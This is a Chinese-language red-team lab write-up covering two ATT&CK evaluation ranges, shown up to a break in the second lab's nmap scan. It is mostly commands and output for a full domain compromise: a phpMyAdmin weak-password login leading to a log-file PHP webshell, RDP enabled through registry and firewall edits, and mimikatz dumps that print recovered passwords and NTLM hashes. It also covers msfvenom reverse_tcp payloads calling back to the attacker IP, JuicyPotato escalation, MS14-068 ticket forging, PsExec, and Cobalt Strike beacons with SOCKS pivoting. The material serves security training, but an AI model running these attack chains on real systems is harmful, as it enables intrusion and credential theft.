ATT&CK红队评估-01-02

01 ATT&CK红队评估

环境准备

网卡 VMnet2

Win server 2008 R2 x64
ip: 192.168.52.138

win server 2003
ip: 192.168.52.141

windows7 x64
ip: 192.168.52.143

网卡VMnet0

windows7 x64
ip: 192.168.43.128
kali
ip: 192.168.43.129

info:

windows7作为web服务和域环境的入口
kali作为攻击机器,两个网段不互通,网段内互通
但都不能ping通win7,因为开了防火墙
密码都是hongrisec@2019

信息搜集

kali里面用上我之前开发的yyzscanner扫一下web目录:

Task begin!
[*]   /phpMyAdmin --> http://192.168.43.128/phpMyAdmin/ 301
[*]   /phpMyAdmin/index.php 200                      
[*]   /phpMyAdmin/ 200                                
[*]   /phpMyadmin/ 200                        
[*]   /phpinfo.php 200                          
[*]   /phpmyAdmin/ 200                      
[*]   /phpmyadmin --> http://192.168.43.128/phpmyadmin/ 301
[*]   /phpmyadmin/ 200  
[*]   /phpmyadmin/index.php 200

Task completed!
用时(s): 26.56507968902588

看来是存在phpmyadmin服务了

nmap看看

80/tcp   open  http
135/tcp open msrpc
3306/tcp open mysql

直接看phpmyadmin吧

这里尝试root/root弱密码直接进去了

直接目标写shell

先看一下basedir

> select @@basedir;

C:/phpStudy/MySQL/

然后尝试写shell

> select "<?php eval($_POST['a']);?>" into outfile "C:/phpStudy/MySQL/a.php";

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

看来是没有权限写shell的

那么用第二个办法,更改日志文件写shell

> SHOW VARIABLES LIKE 'general%';

C:/phpStudy/MySQL/a.php

从phpmyadmin主页可以看到是phpStudy 2014,这里百度一下根目录是在WWW

set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/a.php';

然后

select "<?php eval($_POST['yyz']);?>";

访问一下网站根目录的a.php可以看到成功了,直接AntSword连一下!

C:\phpStudy\WWW> whoami
god\administrator
(在windows下连接的mysql权限都是administrator,真好)

内网信息搜集

> systeminfo

主机名:           STU1
OS 名称:         Microsoft Windows 7 专业版
OS 版本:          6.1.7601 Service Pack 1 Build 7601
OS 制造商:       Microsoft Corporation
OS 配置:         成员工作站
OS 构件类型:     Multiprocessor Free
注册的所有人:     Windows 用户
注册的组织:      
产品 ID:          00371-177-0000061-85693
初始安装日期:     2019/8/25, 9:54:10
系统启动时间:     2021/3/1, 11:32:16
系统制造商:       VMware, Inc.
系统型号:         VMware Virtual Platform
系统类型:         x64-based PC
处理器:           安装了 1 个处理器。
                [01]: Intel64 Family 6 Model 158 Stepping 10 GenuineIntel ~3697 Mhz
BIOS 版本:       Phoenix Technologies LTD 6.00, 2020/7/22
Windows 目录:     C:\Windows
系统目录:         C:\Windows\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     2,047 MB
可用的物理内存:   1,275 MB
虚拟内存: 最大值: 4,095 MB
虚拟内存: 可用:   3,237 MB
虚拟内存: 使用中: 858 MB
页面文件位置:     C:\pagefile.sys
域:               god.org
登录服务器:       \\OWA
修补程序:         安装了 4 个修补程序。
                [01]: KB2534111
                [02]: KB2999226
                [03]: KB958488
                [04]: KB976902
网卡:             安装了 5 个 NIC。
                [01]: Intel(R) PRO/1000 MT Network Connection
                    连接名:     本地连接
                    启用 DHCP:   否
                    IP 地址
                      [01]: 192.168.52.143
                      [02]: fe80::fcff:cf71:1487:9c27
                [02]: TAP-Windows Adapter V9
                    连接名:     本地连接 2
                    状态:       媒体连接已中断
                [03]: Microsoft Loopback Adapter
                    连接名:     Npcap Loopback Adapter
                    启用 DHCP:   是
                    DHCP 服务器: 255.255.255.255
                    IP 地址
                      [01]: 169.254.129.186
                      [02]: fe80::b461:ccad:e30f:81ba
                [04]: TAP-Windows Adapter V9
                    连接名:     本地连接 3
                    状态:       媒体连接已中断
                [05]: Intel(R) PRO/1000 MT Network Connection
                    连接名:     本地连接 4
                    启用 DHCP:   是
                    DHCP 服务器: 192.168.43.254
                    IP 地址
                      [01]: 192.168.43.128
                      [02]: fe80::fa:367a:e700:4d72
> net user /domain

这项请求将在域 god.org 的域控制器处理。
\\owa.god.org 的用户帐户
-------------------------------------------------------------------------------
Administrator           Guest                   krbtgt
ligang                   liukaifeng01            

查一下有没有杀软

tasklist /svc

http://payloads.net/kill_software/

没有杀软,真事太好了

开启3389

想直接连3389,结果失败了,先开一下3389远程桌面服务再说

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

这里连接还是失败了,可能是开启了防火墙,看一下安全组策略

> netsh firewall show state

防火墙状态:
-------------------------------------------------------------------
配置文件                         = 域
操作模式                         = 启用
例外模式                         = 启用
多播/广播响应模式                 = 启用
通知模式                         = 启用
组策略版本                       = Windows 防火墙
远程管理模式                     = 禁用
所有网络接口上的端口当前均为打开状态:
端口   协议 版本 程序
-------------------------------------------------------------------
当前没有在所有网络接口上打开的端口

果然是禁用了远程管理模式的,下面这个命令可以从注册表看是否是开启状态

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
fDenyTSConnections   REG_DWORD   0x1

其中0x1代表关闭,0x0代表开启

先打开一下防火墙

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

然后再开启3389

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

这样就可以连接远程桌面啦!

直接kali可以连接远程桌面:

rdesktop 192.168.43.128:3389

注意,这里是win7服务器,非winserver的服务器连接远程桌面都会把远程那边的用户给挤掉,所以我们要开启多用户登录

遇到问题了,开启了远程桌面没有密码呀

mimikatz抓取密码

由于是win7,所以可以抓取明文密码,用蚁剑传一个mimikatz上去,很好,没有杀软

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords""  exit >> shash.txt

然后看一下:

more shash.txt

.#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##       > https://blog.gentilkiwi.com/mimikatz
'## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
'#####'       > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 577976 (00000000:0008d1b8)
Session           : Interactive from 1
User Name         : Administrator
Domain           : GOD
Logon Server     : OWA
Logon Time       : 2021/3/2 9:14:25
SID               : S-1-5-21-2952760202-1353902439-2381784089-500
      msv :  
        [00000003] Primary
        * Username : Administrator
        * Domain   : GOD
        * LM       : edea194d76c77d873d567a3d68c18aa5
        * NTLM     : 3abca27bcf61e0dbe7c01c57a5d25f28
        * SHA1     : b1da4b53927ffd1e34d1e22e8005046b669cca1e
      tspkg :
        * Username : Administrator
        * Domain   : GOD
        * Password : hongrisrc@2020
      wdigest :      
        * Username : Administrator
        * Domain   : GOD
        * Password : hongrisrc@2020
      kerberos :      
        * Username : Administrator
        * Domain   : GOD.ORG
        * Password : hongrisrc@2020
      ssp :  
      credman :      
Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain           : NT AUTHORITY
Logon Server     : (null)
Logon Time       : 2021/3/2 9:13:55
SID               : S-1-5-19
      msv :  
      tspkg :
      wdigest :      
        * Username : (null)
        * Domain   : (null)
        * Password : (null)
      kerberos :      
        * Username : (null)
        * Domain   : (null)
        * Password : (null)
      ssp :  
      credman :      
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : STU1$
Domain           : GOD
Logon Server     : (null)
Logon Time       : 2021/3/2 9:13:55
SID               : S-1-5-20
      msv :  
        [00000003] Primary
        * Username : STU1$
        * Domain   : GOD
        * NTLM     : 57c1002f781dacc1d8c40550512bceb0
        * SHA1     : 4ca52f5d1c064771d49ea082f8985a707586f3bd
      tspkg :
      wdigest :      
        * Username : STU1$
        * Domain   : GOD
        * Password : b9 4c 59 9e 5a 5d 63 cc cd 6e d8 e2 64 40 3c 01 23 e0 52 be 9b 15 ad 72 b8 9c df ac c3 fe e4 ff 0f 08 d8 e6 b8 38 7a 79 8d f8 cf d1 aa 2c 90 ad c3 c3 d5 1f 05 32 29 d9 0b 41 d5 95 e5 f1 51 b8 fc 16 b6 5f 56 fa ce 02 9f 74 e2 fa f1 9f a5 4e c1 ea e1 27 50 6d c6 8b 02 63 7e 93 88 d2 9e 1c 6c 07 f1 40 bb 8d 03 27 4c cc d8 3c eb 78 29 11 35 50 39 7a b1 0f f4 c3 11 35 ad 03 c7 18 67 23 ea 26 64 da f0 db f6 d5 db 88 55 0a 44 dd 3b b8 23 ce 50 a3 a3 8f e6 9d 0c 38 21 3f 63 fd 3b 0d ed ca f3 51 ae ce df b9 e9 7c de 81 35 a7 17 d4 d0 35 81 1f 35 9b 3f 71 4f 56 97 6a fb 3c 21 75 9a e9 97 3f 18 9e 4f fe f0 45 46 62 c1 cb 6a 11 3f 43 36 dd 97 03 ba 4c 2b 78 df 83 cc 0b 93 cd 88 d0 9f d5 75 8d a6 36 6d 82 12 8a 4c 06 52 37
      kerberos :      
        * Username : stu1$
        * Domain   : god.org
        * Password : b9 4c 59 9e 5a 5d 63 cc cd 6e d8 e2 64 40 3c 01 23 e0 52 be 9b 15 ad 72 b8 9c df ac c3 fe e4 ff 0f 08 d8 e6 b8 38 7a 79 8d f8 cf d1 aa 2c 90 ad c3 c3 d5 1f 05 32 29 d9 0b 41 d5 95 e5 f1 51 b8 fc 16 b6 5f 56 fa ce 02 9f 74 e2 fa f1 9f a5 4e c1 ea e1 27 50 6d c6 8b 02 63 7e 93 88 d2 9e 1c 6c 07 f1 40 bb 8d 03 27 4c cc d8 3c eb 78 29 11 35 50 39 7a b1 0f f4 c3 11 35 ad 03 c7 18 67 23 ea 26 64 da f0 db f6 d5 db 88 55 0a 44 dd 3b b8 23 ce 50 a3 a3 8f e6 9d 0c 38 21 3f 63 fd 3b 0d ed ca f3 51 ae ce df b9 e9 7c de 81 35 a7 17 d4 d0 35 81 1f 35 9b 3f 71 4f 56 97 6a fb 3c 21 75 9a e9 97 3f 18 9e 4f fe f0 45 46 62 c1 cb 6a 11 3f 43 36 dd 97 03 ba 4c 2b 78 df 83 cc 0b 93 cd 88 d0 9f d5 75 8d a6 36 6d 82 12 8a 4c 06 52 37
      ssp :  
      credman :      
Authentication Id : 0 ; 53144 (00000000:0000cf98)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain           : (null)
Logon Server     : (null)
Logon Time       : 2021/3/2 9:13:53
SID               :
      msv :  
        [00000003] Primary
        * Username : STU1$
        * Domain   : GOD
        * NTLM     : 57c1002f781dacc1d8c40550512bceb0
        * SHA1     : 4ca52f5d1c064771d49ea082f8985a707586f3bd
      tspkg :
      wdigest :      
      kerberos :      
      ssp :  
      credman :      
Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : STU1$
Domain           : GOD
Logon Server     : (null)
Logon Time       : 2021/3/2 9:13:53
SID               : S-1-5-18
      msv :  
      tspkg :
      wdigest :      
        * Username : STU1$
        * Domain   : GOD
        * Password : b9 4c 59 9e 5a 5d 63 cc cd 6e d8 e2 64 40 3c 01 23 e0 52 be 9b 15 ad 72 b8 9c df ac c3 fe e4 ff 0f 08 d8 e6 b8 38 7a 79 8d f8 cf d1 aa 2c 90 ad c3 c3 d5 1f 05 32 29 d9 0b 41 d5 95 e5 f1 51 b8 fc 16 b6 5f 56 fa ce 02 9f 74 e2 fa f1 9f a5 4e c1 ea e1 27 50 6d c6 8b 02 63 7e 93 88 d2 9e 1c 6c 07 f1 40 bb 8d 03 27 4c cc d8 3c eb 78 29 11 35 50 39 7a b1 0f f4 c3 11 35 ad 03 c7 18 67 23 ea 26 64 da f0 db f6 d5 db 88 55 0a 44 dd 3b b8 23 ce 50 a3 a3 8f e6 9d 0c 38 21 3f 63 fd 3b 0d ed ca f3 51 ae ce df b9 e9 7c de 81 35 a7 17 d4 d0 35 81 1f 35 9b 3f 71 4f 56 97 6a fb 3c 21 75 9a e9 97 3f 18 9e 4f fe f0 45 46 62 c1 cb 6a 11 3f 43 36 dd 97 03 ba 4c 2b 78 df 83 cc 0b 93 cd 88 d0 9f d5 75 8d a6 36 6d 82 12 8a 4c 06 52 37
      kerberos :      
        * Username : stu1$
        * Domain   : GOD.ORG
        * Password : b9 4c 59 9e 5a 5d 63 cc cd 6e d8 e2 64 40 3c 01 23 e0 52 be 9b 15 ad 72 b8 9c df ac c3 fe e4 ff 0f 08 d8 e6 b8 38 7a 79 8d f8 cf d1 aa 2c 90 ad c3 c3 d5 1f 05 32 29 d9 0b 41 d5 95 e5 f1 51 b8 fc 16 b6 5f 56 fa ce 02 9f 74 e2 fa f1 9f a5 4e c1 ea e1 27 50 6d c6 8b 02 63 7e 93 88 d2 9e 1c 6c 07 f1 40 bb 8d 03 27 4c cc d8 3c eb 78 29 11 35 50 39 7a b1 0f f4 c3 11 35 ad 03 c7 18 67 23 ea 26 64 da f0 db f6 d5 db 88 55 0a 44 dd 3b b8 23 ce 50 a3 a3 8f e6 9d 0c 38 21 3f 63 fd 3b 0d ed ca f3 51 ae ce df b9 e9 7c de 81 35 a7 17 d4 d0 35 81 1f 35 9b 3f 71 4f 56 97 6a fb 3c 21 75 9a e9 97 3f 18 9e 4f fe f0 45 46 62 c1 cb 6a 11 3f 43 36 dd 97 03 ba 4c 2b 78 df 83 cc 0b 93 cd 88 d0 9f d5 75 8d a6 36 6d 82 12 8a 4c 06 52 37
      ssp :  
      credman :      
mimikatz(commandline) # exit
Bye

抓到administrator的密码是hongrisrc@2020,连接远程桌面

使用mimikatz开启远程桌面多用户登录

mimikatz(commandline) # ts::multirdp

“TermService” service patched

注意

远程登录域里面的计算机用户名是 域名\用户名 不然就会出错

但是我这里连上去了,另外一边还是被挤下线了不知道为啥

使用powershell反弹shell到msf

windows上的反弹shell并没有linux上一句话来得快,但也有几种方式可以反弹shell

一是powershell弹到本地的nc,这个方法之前我试过能成功

还有就是msf是我们经常用得到的渗透工具,所以弹到msf上可以方便我们操作

先用msfvenom生成shell文件,有两种版本

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.129(kali的本机ip) LPORT=12345 -f psh-reflection >shell.ps1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.129 LPORT=12345 -f exe >shell.exe

然后msf监听

msfconsole
use exploit/multi/handler
set LHOST kali的本机ip
set LPORT 12345
exploit

其中exe版本的要稳健一点,ps1版本的一直没成功

但是这里exe版本的我也没成功,kali上能收到回话的session,但是迟迟弹不出来shell,一看win7上的exe进程占用内存突然超大,应该是哪里出问题了,后面用php生成的木马弹回来了

提权

C:\phpStudy\WWW> whoami /priv

特权信息
----------------------
特权名                         描述                       状态  
=============================== ========================== ======
SeIncreaseQuotaPrivilege       为进程调整内存配额         已禁用
SeSecurityPrivilege             管理审核和安全日志         已禁用
SeTakeOwnershipPrivilege       取得文件或其他对象的所有权 已禁用
SeLoadDriverPrivilege           加载和卸载设备驱动程序     已禁用
SeSystemProfilePrivilege       配置文件系统性能           已禁用
SeSystemtimePrivilege           更改系统时间               已禁用
SeProfileSingleProcessPrivilege 配置文件单个进程           已禁用
SeIncreaseBasePriorityPrivilege 提高计划优先级             已禁用
SeCreatePagefilePrivilege       创建一个页面文件           已禁用
SeBackupPrivilege               备份文件和目录             已禁用
SeRestorePrivilege             还原文件和目录             已禁用
SeShutdownPrivilege             关闭系统                   已禁用
SeDebugPrivilege               调试程序                   已禁用
SeSystemEnvironmentPrivilege   修改固件环境值             已禁用
* SeChangeNotifyPrivilege         绕过遍历检查               已启用
SeRemoteShutdownPrivilege       从远程系统强制关机         已禁用
SeUndockPrivilege               从扩展坞上取下计算机       已禁用
SeManageVolumePrivilege         执行卷维护任务             已禁用
* SeImpersonatePrivilege         身份验证后模拟客户端       已启用
* SeCreateGlobalPrivilege         创建全局对象               已启用
SeIncreaseWorkingSetPrivilege   增加进程工作集             已禁用
SeTimeZonePrivilege             更改时区                   已禁用
SeCreateSymbolicLinkPrivilege   创建符号链接               已禁用

这里参考三好学生的文章,九种权限的利用方式,刚好遇到一种开启了的SeImpersonatePrivilege

所以使用Potato家族提权即可:具体文章可以看这个

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}

顺利弹出cmd,whoami看一下是nt authority\system

实际上后面利用MS14-068拿域控并没有用到高权限

拿到域控

域环境信息收集

net group "domain controllers" /domain

OWA$

看看域控ip

ipconfig /all

Windows IP 配置
   主机名  . . . . . . . . . . . . . : stu1
   主 DNS 后缀 . . . . . . . . . . . : god.org
   节点类型  . . . . . . . . . . . . : 混合
   IP 路由已启用 . . . . . . . . . . : 否
   WINS 代理已启用 . . . . . . . . . : 否
   DNS 后缀搜索列表  . . . . . . . . : god.org
                                       localdomain

ping一下dns服务器(域控一般也做了dns服务器的)

ping god.org

正在 Ping god.org [192.168.52.138] 具有 32 字节的数据:
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
192.168.52.138 的 Ping 统计信息:
  数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
  最短 = 0ms,最长 = 0ms,平均 = 0ms

域控ip是192.168.52.138

传一个nmap上去扫一下banner

nmap -T4 -A -v 192.168.52.138

Discovered open port 139/tcp on 192.168.52.138
Discovered open port 80/tcp on 192.168.52.138
Discovered open port 135/tcp on 192.168.52.138
Discovered open port 53/tcp on 192.168.52.138
Discovered open port 445/tcp on 192.168.52.138
Discovered open port 49155/tcp on 192.168.52.138
Discovered open port 636/tcp on 192.168.52.138
Discovered open port 49158/tcp on 192.168.52.138
Discovered open port 3268/tcp on 192.168.52.138
Discovered open port 49163/tcp on 192.168.52.138
Discovered open port 593/tcp on 192.168.52.138
Discovered open port 3269/tcp on 192.168.52.138
Discovered open port 49154/tcp on 192.168.52.138
Discovered open port 49175/tcp on 192.168.52.138
Discovered open port 464/tcp on 192.168.52.138
Discovered open port 88/tcp on 192.168.52.138
Discovered open port 49157/tcp on 192.168.52.138
Discovered open port 389/tcp on 192.168.52.138

看到果然是域控机器开启的那些端口,80端口也是一个IIS初始化页面,没啥利用的

MS14-068

这里想到之前复现了MS14-068可以拿下域控,这里也没有打对应的补丁

首先获取用户id

whoami /user

god\administrator S-1-5-21-2952760202-1353902439-2381784089-500

接下来传MS14-068.exe,把之前抓的密码也用上

MS14-068.exe -u Administrator@god.org -s S-1-5-21-2952760202-1353902439-2381784089-500 -d god.org -p hongrisrc@2020

然后mimikatz传递票据

mimikatz # privilege::debug
Using 'mimikatz.log' for logfile : OK

mimikatz # kerberos::purge
Ticket(s) purge for current session is OK

mimikatz # kerberos::list

mimikatz # kerberos::ptc TGT_Administrator@god.org.ccache

Principal : (01) : Administrator ; @ GOD.ORG

Data 0
  Start/End/MaxRenew: 2021/3/2 11:39:39 ; 2021/3/2 21:39:39 ; 2021/3/9 11:39:39
  Service Name (01) : krbtgt ; GOD.ORG ; @ GOD.ORG
  Target Name (01) : krbtgt ; GOD.ORG ; @ GOD.ORG
  Client Name (01) : Administrator ; @ GOD.ORG
  Flags 50a00000   : pre_authent ; renewable ; proxiable ; forwardable ;
  Session Key       : 0x00000017 - rc4_hmac_nt      
    3212e5742655e63cad462ec71b03cb2c
  Ticket           : 0x00000000 - null             ; kvno = 2 [...]
  * Injecting ticket : OK

mimikatz # kerberos::list

[00000000] - 0x00000017 - rc4_hmac_nt      
  Start/End/MaxRenew: 2021/3/2 11:39:39 ; 2021/3/2 21:39:39 ; 2021/3/9 11:39:39
  Server Name       : krbtgt/GOD.ORG @ GOD.ORG
  Client Name       : Administrator @ GOD.ORG
  Flags 50a00000   : pre_authent ; renewable ; proxiable ; forwardable ;

漏洞利用成功,dir可以看一下是否能列出文件

dir \\192.168.52.138\c$

然后上PsExec64.exe就可以获取一个cmd了

PsExec64.exe \\192.168.52.138 cmd.exe

使用cs

为了方便流量代理,这里还是连接一下cs

cs的使用是需要有一个teamserver开启的,并且所有的流量是通过teamserver发送和接收的,我们在kali上开一下teamserver

服务端关键的文件是teamserver以及cobaltstrike.jar

sudo ./teamserver 192.168.43.128 123456

然后打开cs的客户端,连接这个teamserver

然后打开一个listener,其中

HTTP Hosts: 192.168.43.128
HTTP Host(Stager): 192.168.43.128
Profile: default
HTTP Port(C2): 12345
其他不用改

然后用generate生成一个payload用蚁剑传上去执行,就会返回一个

补充一下beacon的一些命令

argue 进程参数欺骗
blockdlls 阻⽌⼦进程加载⾮Microoft DLL
browserpivot 注⼊受害者浏览器进程
bypassuac 绕过UAC提升权限
cancel 取消正在进⾏的下载
cd 切换⽬录
checkin 强制让被控端回连⼀次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制⽂件
dcsync 从DC中提取密码哈希
desktop 远程桌⾯(VNC)
dllinject 反射DLL注⼊进程
dllload 使⽤LoadLibrary将DLL加载到进程中
download 下载⽂件
downloads 列出正在进⾏的⽂件下载
drives 列出⽬标盘符
elevate 使⽤exp
execute 在⽬标上执⾏程序(⽆输出
execute-assembly 在⽬标上内存中执⾏本地.NET程序
exit 终⽌beacon会话
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取⽤户ID
hashdump 转储密码哈希值
help 帮助
inject 在注⼊进程⽣成会话
jobkill 结束⼀个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache⽂件中导⼊票据应⽤于此会话
kerberos_ticket_purge 清除当前会话的票据
keberos_ticket_use Apply 从ticket⽂件中导⼊票据应⽤于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使⽤mimikatz转储凭据和哈希值
ls 列出⽂件
make_token 创建令牌以传递凭据
mimikatz 运⾏mimikatz
mkdir 创建⼀个⽬录
mode dns 使⽤DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使⽤DNS TXT作为通信通道(仅限D beacon)
mode dns6 使⽤DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使⽤HTTP作为通信通道
mv 移动⽂件
net net命令
note 备注
portscan 进⾏端⼝扫描
powerpick 通过Unmanaged PowerShell执⾏命令
powershell 通过powershell.exe执⾏命令
powershell-import 导⼊powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
pseec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执⾏PowerShell命令
pth 使⽤Mimikatz进⾏传递哈希
pwd 当前⽬录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除⽂件或⽂件夹
rportfwd 端⼝转发
run 在⽬标上执⾏程序(返回输出)
runas 以其他⽤户权限执⾏程序
runasadmin 在⾼权限下执⾏程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell 执⾏cmd命令
shinject 将shellcode注⼊进程
shspawn 启动⼀个进程并将shellcode注⼊其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停⽌SOCKS
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使⽤ssh连接远程主机
ssh-key 使⽤密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将⼀个⽂件的时间戳应⽤到另⼀个⽂件
unlink Disconnect from parent Beacon
upload 上传⽂件
wdigest 使⽤mimikatz转储明⽂凭据
winrm 使⽤WinRM横向渗透
wmi 使⽤WMI横向渗透

为msf开启sock4代理

在cs中,使用如下命令即可将获得的靶机变成跳板机

socks 43624

其中43624是可以指定的端口号

接下来就可以使用msf进行内网渗透了

setg Proxies socks4:192.168.43.128:43624
setg ReverseAllowProxy true
//注意后面这一句,网上说测试不可以用,但是我这里没问题,如果只用上面一句实现不了代理,那么可以加上后面这句

在msf里面扫描445端口试试

use auxiliary/scanner/smb/smb_version
set rhost 192.168.52.0/24
run

可以看到扫描出了52段的所有机器

cs下的简单提权

在cs4中新增的提权方式,SVC-exe

实际上是通过psexec横向到本地生成一个beacon

先生成listener

Payload: Beacon TCP
Port(C2): 4444
(√)Bind to localhost only

然后在你想要提权的beacon上面执行

elevate svc-exe

即可得到具有system权限的beacon

横向渗透

使用port scan扫描一下内网的存活主机,当然,在之前可以先搜集一下域控存在的网段

使用票据和hash通过psexec横向生成beacon:

先在system机器上hashdump然后mimikatz抓取一下密码或者hash

然后生成一个SMB445端口的listener

cs里面点击菜单栏的show targets in table view

右键点击目标主机,jump -> psexec ->

可以直接用域控的hash或者密码来登录

listener选择smb,seesion使用之前获取hash的那个机子

不出意外的话即可上线对应的beacon

至此,我们拿下了域控里面所有主机的beacon,并且都取得了system权限

redteam1

这里使用cs参考了很多大佬的文章:

内网中CobaltStrike4.0(CS4)的渗透

Cobalt Strike 4.0 Updates You Should Know

CobaltStrike4.0用户手册_中文翻译.pdf

02 ATT&CK红队评估

拓扑描述:

web机和PC机暴露在公网中,有杀软

DC在内网中

DC和PC密码为1qaz@WSX,WEB的密码是!QAZ2wsx

打开PC\web服务器service里面的Server、Workstation、Computer Browser

启动WEB服务器里面的weblogic应用C:\Oracle\Middleware\user_projects\domains\base_domain\bin

环境准备

网卡VMnet0(NAT模式)(模拟外网环境)
PC   ip: 192.168.111.130
WEB ip: 192.168.111.129
kali ip: 192.168.111.128

网卡VMnet2 (模拟内网环境)
PC   ip: 10.10.10.201
WEB ip: 10.10.10.80
DC   ip: 10.10.10.130

踩坑:每一台机器都设置为自动获取ip,网关配置好,然后双网卡的机器配置VMnet0在上,VMnet2在下

信息搜集

nmap -T4 -A -v 192.168.111.129
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-03 04:01 EST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 04:01
Completed NSE at 04:01, 0.00s elapsed
Initiating NSE at 04:01
Completed NSE at 04:01, 0.00s elapsed
Initiating NSE at 04:01
Completed NSE at 04:01, 0.00s elapsed
Initiating Ping Scan at 04:01
Scanning 192.168.111.129 [2 ports]
Completed Ping Scan at 04:01, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:01
Completed Parallel DNS resolution of 1 host. at 04:01, 0.11s elapsed
Initiating Connect Scan at 04:01
Scanning 192.168.111.129 [1000 ports]
Discovered open port 80/tcp on 192.168.111.129
Discovered open port 3389/tcp on 192.168.111.129
Discovered open port 135/tcp on 192.168.111.129
Discovered open port 139/tcp on 192.168.111.129
Discovered open port 445/tcp on 192.168.111.129
Discovered open port 49152/tcp on 192.168.111.129
Discovered open port 49155/tcp on 192.168.111.129
Discovered open port 49153/tcp on 192.168.111.129
Discovered open port 49154/tcp on 192.168.111.129
Discovered open port 7001/tcp on 192.168.111.129
Discovered open port 1433/tcp on 192.168.111.129
Discovered open port 49156/tcp on 192.168.111.129
Completed Connect Scan at 04:01, 4.27s elapsed (1000 total ports)
Initiating Service scan at 04:01
Scanning 12 services on 192.168.111.129
Completed Service scan at 04:02, 58.67s elapsed (12 services on 1 host)
NSE: Script scanning 192.168.111.129.
Initiating NSE at 04:02
Completed NSE at 04:03, 73.44s elapsed
Initiating NSE at 04:03
Completed NSE at 04:03, 0.06s elapsed
Initiating NSE at 04:03
Completed NSE at 04:03, 0.00s elapsed
Nmap scan report for 192.168.111.129
Host is up (0.0014s latency).
Not shown: 988 filtered ports
PORT     STATE SERVICE           VERSION
80/tcp   open http               Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp   open msrpc             Microsoft Windows RPC
139/tcp   open netbios-ssn       Microsoft Windows netbios-ssn
445/tcp   open microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s           Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info:
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-03-03T08:20:50
| Not valid after: 2051-03-03T08:20:50
| MD5:   b0a8 c5de 978a 9de2 103d 9be0 b111 5278
|_SHA-1: dcb4 ebc0 a611 f76b ce45 a9af 8a7e d8ed 9d11 e91d
|_ssl-date: 2021-03-03T09:03:21+00:00; 0s from scanner time.
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-03-02T06:36:50
